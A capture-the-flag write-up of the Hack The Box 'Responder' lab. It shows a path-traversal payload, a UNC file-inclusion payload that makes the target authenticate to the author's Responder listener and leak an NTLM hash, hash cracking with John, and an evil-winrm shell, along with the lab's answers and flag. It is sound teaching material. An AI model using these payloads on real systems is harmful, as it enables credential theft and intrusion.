# Responder (Tier 1)

## <mark style="color:blue;">Description</mark>

* **Tier&#x20;**<mark style="color:green;">**->**</mark>**&#x20;1**
* **Difficult** <mark style="color:green;">**->**</mark> Very Easy
* **OS** <mark style="color:green;">**->**</mark> Linux
* **Tags&#x20;**<mark style="color:green;">**->**</mark> WinRM / Custom Applications / Protocols / XAMPP / SMB / Responder / PHP\
  &#x20;            / Reconnaissance / Password Cracking / Hash Capture / Remote File Inclusion\
  &#x20;            / Remote Code Execution

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FUEathHeidWfd1PfBAjaB%2Fimage.png?alt=media&#x26;token=cd124d96-b584-4256-8fd0-e21834ed94bb" alt=""><figcaption><p><a href="https://app.hackthebox.com/starting-point?tier=1">https://app.hackthebox.com/starting-point?tier=1</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial scan using [_Nmap_](../../../networks/tools-and-utilities#nmap)

<pre class="language-bash" data-line-numbers><code class="lang-bash"><strong>nmap -p- -Pn --min-rate 2000 10.129.215.213
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FLv2V5YIbL7xSYevMyj2Z%2Fimage.png?alt=media&#x26;token=1f4c0941-ccce-4f61-b1d1-aa06dc8929df" alt=""><figcaption></figcaption></figure>

***

* Then I did an exhaustive scan to get more information about the service running on the open port

<pre class="language-bash" data-line-numbers><code class="lang-bash"><strong>nmap -p80 -sVC 10.129.215.213
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FipLdfOiEsdLWtwnaekTf%2Fimage.png?alt=media&#x26;token=5e116a29-cd4a-4a3a-854b-baedcdf7471b" alt=""><figcaption></figcaption></figure>

***

* I found the HTTP protocol running on port 80, so I went to the browser to check the content being deployed. Hitting the site using the IP redirected me to a domain named _unika.htb,_ but I was unable to reach the server

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fifu1vswVcCznfS2wKH83%2Fimage.png?alt=media&#x26;token=9553a089-5071-4d80-a12a-fc9b5b78851b" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](../../networks/protocols/http)
{% endhint %}

***

* With this, I answered the first question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F2rf9wKnrUqpBZznHsjwY%2Fimage.png?alt=media&#x26;token=73ab1ae3-0f0e-4031-be2b-2e565d696986" alt=""><figcaption></figcaption></figure>

> Answer: _**unika.htb**_

***

* The reason why the page didn't show me content was that it wasn't on my list of known hosts. To fix this, I added it by modifying the _/etc/hosts_ file, relating the IP to the _unika.htb_ domain. After that, I hit the site again, and it worked properly

{% code lineNumbers="true" %}
```bash
sudo nano /etc/hosts
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FAHjwrm9xzpYa5LUMnAF3%2Fimage.png?alt=media&#x26;token=ba8f0b14-1292-4217-9071-fd9a9388fce8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FGdkifwOO2yLa6qMAp27F%2Fimage.png?alt=media&#x26;token=781cbaf6-0197-424e-996a-1d0f3ab2d3f7" alt=""><figcaption></figcaption></figure>

***

* Once there, I found a dashboard page for a business with some buttons that didn't work. Exploring the page, I didn't find anything relevant, so I used the [_Wappalyzer_](../../../web-exploitation/tools-and-utilities#wappalyzer) extension to get some extra information about the technologies of the site

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FZ60aC2zQTPou1Ua1nj5u%2Fimage.png?alt=media&#x26;token=d3532121-aec9-4a5f-8f06-c69bd5e6cacf" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fjoiowtv4l1WGect6BtUt%2Fimage.png?alt=media&#x26;token=15c17fa3-31d7-43bf-9a23-906bdb01604a" alt=""><figcaption></figcaption></figure>

> Answer: _**php**_

***

* Navigating to the top right corner, I found a slider to select the language of the page, which caught my attention. When I selected a different language from _english_, the language of the whole page changed, and the URL showed a query reflecting this action

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FbQZDZOYyCuDaeagpctyF%2Fimage.png?alt=media&#x26;token=bb5316d7-7d65-4dce-9e5e-cc463b79dfbf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FOsST4tNUkG7pyOv41dwA%2Fimage.png?alt=media&#x26;token=e030d110-f413-4123-9433-989e30b7d22b" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FJJW3g3uvSoX9X7YrYevg%2Fimage.png?alt=media&#x26;token=e7230bd2-8d6f-47f8-b54c-449a72e81eed" alt=""><figcaption></figcaption></figure>

> Answer: _**page**_



***

* To test if this query could be vulnerable to a Local File Inclusion attack, I tried listing the contents of the _/etc/hosts_ file by changing the value of the _page_ parameter. After some tries, I found a successful payload and displayed the content of the requested file

{% code title="Payload" lineNumbers="true" %}
```url
page=../../../../../../../../windows/system32/drivers/etc/hosts
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FGEjUT4AFJMqHKrbxvJLW%2Fimage.png?alt=media&#x26;token=6239cdc8-280c-47da-8a98-685f06ff761f" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about Local File Inclusion and its exploitation, you can go [here](../../web-exploitation/broken-access-control/local-file-inclusion)
{% endhint %}

***

* With this and a little research, I answered some questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FzK9ufFrbzTvGkmRevfK9%2Fimage.png?alt=media&#x26;token=edd14256-b9b1-4112-8606-b04936d9242a" alt=""><figcaption></figcaption></figure>

> Answer: ../../../../../../../../windows/system32/drivers/etc/hosts

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fseklt70LfXrdjIH9N30e%2Fimage.png?alt=media&#x26;token=530ee6ee-c4b6-496d-a0d6-d935eb3de91d" alt=""><figcaption></figcaption></figure>

> Answer: _**//10.10.14.6/somefile**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FkN0tnpkXuWJHJVCa89Kh%2Fimage.png?alt=media&#x26;token=bc9cc322-c474-40c7-84ec-47f35031816d" alt=""><figcaption></figcaption></figure>

> Answer: _**New Technology Lan Manager**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fyi6EafESHCcIt3kMlmqc%2Fimage.png?alt=media&#x26;token=64c1d86b-6573-47b1-b50a-549e401dbf83" alt=""><figcaption></figcaption></figure>

> Answer: _**-I**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FBZ0iJ47abw7MnVwAF2hn%2Fimage.png?alt=media&#x26;token=b1a715ec-dcb5-45ad-b821-bc3f1d67adc6" alt=""><figcaption></figcaption></figure>

> Answer: _**John The Ripper**_

***

* Knowing that I could abuse this, I tried using the [_Responder_](../../../networks/tools-and-utilities#responder) utility to intercept the communication between the web server and the local system. That was to try to catch the credentials for the internal SMB service, based on the fact that it was a Windows system and could be running it. I started configuring the tool, so I modified the _Responder.config_ file to set the value _SMB_ to _On_

{% code overflow="wrap" lineNumbers="true" %}
```bash
sudo nano /usr/share/responder/Responder.conf
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FfqnvDlNGuqrUZQgIroao%2Fimage.png?alt=media&#x26;token=330afe6e-417c-4a46-beda-aafbcf21aa22" alt=""><figcaption></figcaption></figure>

***

* After that, I initialized the tool specifying the network interface I wanted to use, in this case, the _tun0_ interface

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fm5XKRz4xg6IMNBB3aVrG%2Fimage.png?alt=media&#x26;token=980c59b6-f8fc-4776-922b-23a0f7734693" alt=""><figcaption><p>Snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FnwpozQw8X5M4dyRwkE91%2Fimage.png?alt=media&#x26;token=214b3083-7c65-412f-bf8e-d4c3cd50d4af" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
We can check the interface using the`ifconfig` command. Normally, the _tun0_ interface is the one related to the connection with a VPN
{% endhint %}

***

* Then I went to the vulnerable endpoint again to modify the URL and tried to do a Remote File Inclusion to my machine, to connect to the _Responder_ server I had deployed. With this action, the page displayed an error, but when checking the terminal, _Responder_ had caught the credentials of the target

{% code title="Payload" overflow="wrap" lineNumbers="true" %}
```url
page=//10.10.14.195/somefile
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FSkM2fr0KlUCJuschCxIY%2Fimage.png?alt=media&#x26;token=81844151-8471-4f18-90ac-1ff7939ce91b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FfUrrN3nKfwNgad894bmO%2Fimage.png?alt=media&#x26;token=49209266-f94e-44a7-914a-098c2e302ab7" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about Remote File Inclusion and its exploitation, you can go [here](../../web-exploitation/broken-access-control/remote-file-inclusion)
{% endhint %}

***

* I caught the communication from the _Administrator_ user and the corresponding hash, so I saved it in a text file. I could try to break the hash using the [_John the Ripper_](../../../cryptography/tools-and-utilities#john-the-ripper) tool and the well-known _rockyou.txt_ dictionary. After running it, I observed the cracking process was successful, obtaining the password _badminton_ for the user _Administrator_

{% code overflow="wrap" lineNumbers="true" %}
```bash
john -w=/usr/share/wordlists/rockyou.txt hash.txt
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fo9ByXOHFmHh2eYP0mzye%2Fimage.png?alt=media&#x26;token=3ad56bff-8110-4d6c-9081-c07888778bee" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fx2xGarkeebmG2cV99e1F%2Fimage.png?alt=media&#x26;token=5c617fc5-15f8-4afe-b467-807a1384b8a0" alt=""><figcaption></figcaption></figure>

***

* With this and a little research, I answered the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCxtRrIOhCgtdEheFZUDh%2Fimage.png?alt=media&#x26;token=34c238cc-ccde-434d-9877-89374e4a0e04" alt=""><figcaption></figcaption></figure>

> Answer:  _**badminton**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fxt3XSSjbcguV1BLXhMVx%2Fimage.png?alt=media&#x26;token=ccbab888-2f37-4b9e-b4b4-94cea872ed04" alt=""><figcaption></figcaption></figure>

> Answer: _**5985**_

***

* Having these credentials, I could try to connect to the system directly. For this purpose, I used the _evil-winrm_ tool to try to get a shell, and it worked successfully

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FmVBfSdE1ukcP3wNJGqGg%2Fimage.png?alt=media&#x26;token=24710a93-739d-4ffc-928c-e14cfae71713" alt=""><figcaption></figcaption></figure>

***

* Searching through the system, I found a file called _flag.txt_ in the _C:\Users\mike\Desktop_ folder. Finally, I checked the content of the _flag.txt_ file, retrieving the flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fvbo1RINkuTOTrLNLKF3X%2Fimage.png?alt=media&#x26;token=18487e3c-e5f0-4aa7-a954-2fcf2d7299d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FQ8acbOeDh42pWaU2hMmY%2Fimage.png?alt=media&#x26;token=b2ed8b90-daee-49e1-a9bf-10bbe7defd12" alt=""><figcaption></figcaption></figure>

***

* With this, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FiRa4uP83mEE1KVtqIsBo%2Fimage.png?alt=media&#x26;token=b0cab404-34a7-40f0-bc9b-ab02667bb564" alt=""><figcaption></figcaption></figure>

> Answer: _**ea81b7afddd03efaa0945333ed147fac**_
